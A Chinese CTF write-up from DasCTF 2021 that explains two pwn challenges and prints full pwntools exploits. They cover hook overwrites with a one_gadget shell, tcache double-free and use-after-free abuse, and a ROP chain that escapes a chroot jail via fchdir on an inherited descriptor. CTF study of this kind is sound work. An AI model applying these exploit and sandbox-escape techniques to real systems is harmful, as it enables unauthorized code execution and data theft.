0%

DasCTF_2021_3

比赛 10:00 开始,下午 18:00 结束。开始时平台很卡,pwn 远程也是,后面好多了。flag 居然是大括号里面的部分。。。一共放出了四题,只做了两道,分别是关于 mmapchroot的。

fruitpie

程序分析

主要逻辑都在主函数中。申请 chunk 的大小没有限制,且给了 chunk 的地址。然后可以在偏移 chunk 可控位置处读入 0x10 任意字节。最后 malloc 了一次。

漏洞利用

初看感觉没有头绪。后面回想起了有题的考点是用 mmap 的地址求 libc 地址(虽然在不同机器上、用不同的链接器偏移会不一样),之后就可以覆盖 __realloc_hook__malloc_hook 了。

注意。如果申请的 chunk 地址比较小(比如 0x30000),chunk 会被分配到相对 libc 高地址处,此时远程打不通。更大的话(比如 0x517000),chunk 会被分配到低地址处,此时远程也能打通。

还有不要用自己编译的 ld。(这次我记住了)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *

#io = process("./fruitpie")
io = remote("54f57bff-61b7-47cf-a0ff-f23c4dc7756a.machine.dasctf.com", 50402)
libc = ELF("./libc.so.6_fruitpie")

size = 0x517000
io.sendlineafter("Enter the size to malloc:", str(size))

io.recvuntil("0x")
chunk_addr = int(io.recvuntil('\n'), 16)
libc.address = chunk_addr - 0x10 + 0x518000
print("libc.address = " + hex(libc.address))

offset = libc.symbols["__realloc_hook"] - chunk_addr
print(hex(offset))
io.sendlineafter("Offset:", hex(offset))

'''
0x4f365 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL

0x4f3c2 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL

0x10a45c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

'''
one_gadget_addr = libc.address + 0x4f3c2
realloc_addr = libc.symbols["realloc"]
system_addr = libc.symbols["system"]
payload = p64(one_gadget_addr) + p64(realloc_addr + 4)
io.sendafter("Data:", payload)

io.interactive()

ParentSimulator

程序分析

堆题。64位ELF,保护全开,libc 为 2.31。

  1. 程序必须以 root 权限执行,开头调用 seccomp 禁用了 system,open 了 /tmp 目录,chroot 到了 /tmp/ohohoho 目录,降低进程权限为 1 (显示为 daemon)
  2. 有 add、delete、edit_name、edit_description、show 等功能
  3. add 的大小只能为 0x100
  4. 用 bss 段的一篇空间记录 chunk 使用情况
  5. chunk 的 bk 域只能为 “boy” 或 “girl” 字符串
  6. delete 有 UAF 漏洞,且不会检查 chunk 使用情况。其它的功能都会检查。
  7. 有一次泄漏和修改一个 chunk 的 bk 的机会

漏洞利用

堆利用

如果忽略掉程序开头的操作,这道题的利用流程是:

  1. 用 tcache chunk 进行 double free(因为 libc-2.32,中途要修改一次 chunk 的 fd),同时泄漏堆地址
  2. 然后控制堆上的 tcache_perthread 结构体(这样可以多次向任意地址申请 chunk)
  3. 把一个 chunk free 进 unsortedbin,利用 show 泄漏 libc 地址
  4. 修改 __free_hook,然后 orw 获得 flag。

但我们必须先逃出 chroot jail。因为此题有 edit_name,可以多次修改 __free_hook,因此可以多次调用一些函数。

chroot jail escape

当时我先 man 了一下 chroot,发现里面提到两种可以逃出的情况:

  1. 权限为 root,可以 mkdir foo; chroot foo; cd ..
  2. chdir 到某个目录中,然后该目录被移出到 chroot 的目录之外

值得注意的是 man page 中提到调用 chroot 的条件:

Only a privileged process (Linux: one with the CAP_SYS_CHROOT capability) may call chroot().

尝试 chroot

我尝试了第一种,调试时查看 errno 后发现因为权限不足失败了(大概只有 root 才有 CAP_SYS_CHROOT capability?)

之后我又想弄明白 open("/tmp", 0) 到底是用来干嘛的(因为在我的印象中 open 一个文件夹没什么用)。写了个 C 程序 test_read_write_folder.c 测试,发现读写都会失败(错误信息是该 fd 为一个目录)。

chdir(“/bin/“)

然后我就傻眼了,开始乱试。试了一下 chdir("/bin/"),然后 getcwd 获得所在目录,发觉在远程环境下居然到了 “/usr/bin”,逃出了 chroot jail!

然而本地环境却失败了,依然在根目录下。我还搞不懂成功和失败的原因。。。(因为有链接?还是有别名之类的机制?)

最后 chdir("../../"),orw 得到 flag。但提交始终不过,当时我以为 escape 失败了,读到了一个别人写的假 flag,然后开始寻找新的方法。(实际上是成功了的,提交不过的原因在文章的最上方)

fchdir(fd)

我想不出来办法,就到处查资料。当我 man chroot 时,我找到了突破口:

CHDIR(2) Linux Programmer’s Manual CHDIR(2)

NAME
chdir, fchdir - change working directory

SYNOPSIS
#include <unistd.h>

1
2
int chdir(const char *path);
int fchdir(int fd);

原来还能根据 fd 切换目录!这说明我们可以利用程序开头 chroot("/tmp/ohohoho")open("/tmp", 0) 得到的 fd(值为 3)来逃出 chroot jail!google 一下后发现确实有这种方法:http://www.unixwiz.net/techtips/mirror/chroot-break.html

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
'''
chroot jail escape
libc-2.31 tcache 利用
'''
from pwn import *

io = process("./ParentSimulator")
#io = remote("pwn.machine.dasctf.com", 51303)
libc = ELF("./libc-2.31.so_ParentSimulator")

def add(idx, gender, name):
io.sendafter(">> ", '1')
io.sendafter("Please input index?", str(idx))
io.sendafter("Please choose your child's gender.\n1.Boy\n2.Girl:", str(gender))
io.sendafter("Please input your child's name:", name)

def edit_name(idx, name):
io.sendafter(">> ", '2')
io.sendafter("Please input index?", str(idx))
io.sendafter("Please input your child's new name:", name)

def show(idx):
io.sendafter(">> ", '3')
io.sendafter("Please input index?", str(idx))

def delete(idx):
io.sendafter(">> ", '4')
io.sendafter("Please input index?", str(idx))

def edit_desc(idx, desc):
io.sendafter(">> ", '5')
io.sendafter("Please input index?", str(idx))
io.sendafter("Please input your child's description:", desc)

def change_gender(idx, gender):
io.sendafter(">> ", "666")
io.sendafter("Please input index?", str(idx))
io.recvuntil("Current gender:")
address = u64(io.recvuntil(b'\n', drop=True).ljust(8, b'\x00'))
io.sendafter("Please rechoose your child's gender.\n1.Boy\n2.Girl:", str(gender))
return address

# double free,泄漏heap地址
add(0, 1, "jkilopu")
add(1, 1, 'a' * 0x7)
delete(1)
delete(0)
heap_addr = change_gender(0, 1) - 0x10
print("heap_addr = " + hex(heap_addr))
delete(0)

# 申请到tcache_perthread处
add(0, 1, p64(heap_addr + 0x10)[0:7])
add(1, 1, "ohohoho")
add(2, 1, '\n') # tcache_perthread

# 修改0x100大小的count和entry
edit_desc(2, (b'\x00' * (7 + 6 + 1) + p8(0x7)).ljust(64 * 2, b'\x00') + p64(0xdeadbeef) * 13 + p64(heap_addr + 0x290)[0:7])
delete(0)
add(0, 1, b'c' * 0x7)

# free一个chunk进unsortedbin从而泄漏libc地址
show(0)
io.recvuntil("Description:")
libc.address = u64(io.recvuntil(b'.', drop=True).ljust(8, b'\x00')) - 96 - 0x10 - libc.symbols["__malloc_hook"]
print("libc.address = " + hex(libc.address))

# 各种目录相关函数的地址
free_hook_addr = libc.symbols["__free_hook"]
chroot_addr = libc.symbols["chroot"]
fchdir_addr = libc.symbols["fchdir"]
chdir_addr = libc.symbols["chdir"]
getcwd_addr = libc.symbols["getcwd"]
mkdir_addr = libc.symbols["mkdir"]

# 申请一个chunk到__free_hook处(mkdir没用,最后懒得改了)
edit_desc(2, (b'\x00' * (7 + 6 + 1) + p8(0x1)).ljust(64 * 2, b'\x00') + p64(0xdeadbeef) * 13 + p64(free_hook_addr - 0x10)[0:7])
add(3, 1, b'd' * 0x7)
edit_desc(3, p64(mkdir_addr)[0:7])

edit_desc(2, (b'\x00' * (7 + 6 + 1) + p8(0x1)).ljust(64 * 2, b'\x00') + p64(0xdeadbeef) * 13 + p64(heap_addr + 0x500)[0:7])
add(4, 1, "jkilopu")
delete(4)

# 逃出:尝试chroot 失败
#edit_desc(3, p64(chroot_addr)[0:7])
#edit_desc(2, (b'\x00' * (7 + 6 + 1) + p8(0x1)).ljust(64 * 2, b'\x00') + p64(0xdeadbeef) * 13 + p64(heap_addr + 0x500)[0:7])
#add(4, 1, "jkilopu")
#delete(4)

# 逃出:尝试chdir("/bin/") 远程成功
#edit_desc(3, p64(chdir_addr)[0:7])
#edit_desc(2, (b'\x00' * (7 + 6 + 1) + p8(0x1)).ljust(64 * 2, b'\x00') + p64(0xdeadbeef) * 13 + p64(heap_addr + 0x500)[0:7])
#add(4, 1, "/bin/\n")
#delete(4)

#edit_desc(3, p64(chdir_addr)[0:7])
#edit_desc(2, (b'\x00' * (7 + 6 + 1) + p8(0x1)).ljust(64 * 2, b'\x00') + p64(0xdeadbeef) * 13 + p64(heap_addr + 0x500)[0:7])
#add(4, 1, "../../\n")
#delete(4)

# 逃出:尝试fchdir(3) 本地远程均成功
chunk_addr = heap_addr + 0x510
# rop的两个核心gadget
rsp_rdx_addr = libc.address + 0x580DD
rdx_rdi_addr = libc.address + 0x1547A0
print("rdx_rdi_addr = " + hex(rdx_rdi_addr))
edit_desc(3, p64(rdx_rdi_addr)[0:7])

# 为了修改要进行rop的chunk_4的bk([rdi + 8]),要多申请一个chunk_5
edit_desc(2, (b'\x00' * (7 + 6 + 1) + p8(0x1)).ljust(64 * 2, b'\x00') + p64(0xdeadbeef) * 13 + p64(chunk_addr)[0:7])
add(4, 1, p64(heap_addr + 0x500)[0:7])
edit_desc(2, (b'\x00' * (7 + 6 + 1) + p8(0x1)).ljust(64 * 2, b'\x00') + p64(0xdeadbeef) * 13 + p64(chunk_addr - 0x10)[0:7])
add(5, 1, p64(heap_addr + 0x500)[0:7])

# 因为单次read长度有限(0xf0 - 1),分两段布置rop链
rdx_addr = chunk_addr + 0x10 - 0x20
p_rdi = libc.address + 0x26b72
p_rsi = libc.address + 0x27529
pp_rdx = libc.address + 0x1626d6
open_addr = libc.symbols["open"]
read_addr = libc.symbols["read"]
write_addr = libc.symbols["write"]
payload_1 = (p64(rsp_rdx_addr) + b"flag\x00".ljust(8, b'\x00') + b"../../../../../\x00").ljust(0xa0 - 0x20, b'\x07') + b'\n'

# chunk_6负责布置第二段rop链
payload_2 = p64(rdx_addr + 0xa0 + 8)
payload_2 += p64(p_rdi) * 2 + p64(3) + p64(fchdir_addr) # 核心gadget中有push操作,为了消除影响rop的开头要有两个p_rdi
payload_2 += p64(p_rdi) + p64(rdx_addr + 0x20 + 0x10) + p64(chdir_addr)
payload_2 += p64(p_rdi) + p64(rdx_addr + 0x20 + 8) + p64(p_rsi) + p64(0) + p64(open_addr)
payload_2 += p64(p_rdi) + p64(4) + p64(p_rsi) + p64(heap_addr + 0x800) + p64(pp_rdx) + p64(0x40) + p64(0xdeadbeef) + p64(read_addr)
payload_2 += p64(p_rdi) + p64(1) + p64(p_rsi) + p64(heap_addr + 0x800) + p64(pp_rdx) + p64(0x40) + p64(0xdeadbeef) + p64(write_addr) + b'\n'
print("payload_2 len = " + hex(len(payload_2)))

# chunk_4负责布置第一段rop链,chunk_5负责修改[rdi + 8]
edit_desc(5, p64(0xdeadbeef) + p64(rdx_addr) + b'\n')
edit_desc(4, payload_1)
edit_desc(2, (b'\x00' * (7 + 6 + 1) + p8(0x1)).ljust(64 * 2, b'\x00') + p64(0xdeadbeef) * 13 + p64(heap_addr + 0x590)[0:7])
add(6, 1, b"jkilopu")
edit_desc(6, payload_2)
delete(4)

# getcwd将目录的绝对路径放到buf中后,这一段用来查看buf中的内容
#edit_desc(2, (b'\x00' * (7 + 6 + 1) + p8(0x1)).ljust(64 * 2, b'\x00') + p64(0xdeadbeef) * 13 + p64(heap_addr + 0x500 - 0x10)[0:7])
#add(5, 1, b'e' * 0x7)
#show(5)

io.interactive()

该程序对 chunk 的控制力较强,帮我在构建 rop 链时省了很多时间。

总结

打得还是很爽的。不过还是经验不足,做得很慢。

我想如果其他人看 pwn 手的虚拟机,一定会察觉在一些奇奇怪怪的地方(比如根目录,home 目录,/home/ctf 目录) ,有 flag、flag.txt 之类的文件吧。这么想想还是挺好玩的。